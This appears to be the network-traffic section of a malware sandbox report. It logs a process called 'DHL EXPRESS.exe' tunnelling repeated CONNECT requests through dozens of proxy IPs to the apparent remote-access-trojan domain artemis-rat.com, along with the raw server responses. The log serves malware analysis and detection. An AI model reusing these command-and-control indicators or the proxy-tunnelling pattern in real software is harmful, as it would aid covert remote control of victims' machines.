86	192.168.2.8	49791	64.227.108.25	31908	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.165559053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	50030	51.158.64.130	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.165936947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	50067	192.252.208.70	14282	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.169878960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	50114	156.232.9.194	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.174751043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.628108978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.143727064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.164711952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.196141005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.206722975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.268640041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	50121	104.20.123.164	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.177303076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.331593990 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50149	104.16.143.127	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.216957092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.371090889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	50136	172.67.182.0	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.218909979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.373229027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	50134	104.21.194.182	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.219290972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.373749018 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	50049	222.255.238.159	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.219408035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.549108028 CET	481	IN	HTTP/1.1 302 Found Date: Mon, 11 Mar 2024 17:36:45 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 289 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	50062	174.64.199.79	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.219448090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	50123	64.124.145.1	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.219594955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	50054	14.103.24.20	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.224843025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	50057	45.11.95.166	6014	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.252029896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.971883059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	50102	23.225.72.122	3500	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.252341032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.846859932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.628163099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.993870020 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	50197	104.20.24.214	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.259462118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.413698912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	50198	172.67.150.173	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.259495974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.413620949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	50211	172.67.38.96	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.268888950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.423507929 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	50066	202.179.184.44	5430	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.272663116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	50212	66.225.246.238	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.275917053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.436943054 CET	731	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	50220	31.43.179.214	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.276762962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.438868046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	50129	190.153.121.2	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.277103901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	50098	51.158.108.134	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.285566092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	50237	104.17.171.235	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.293673038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
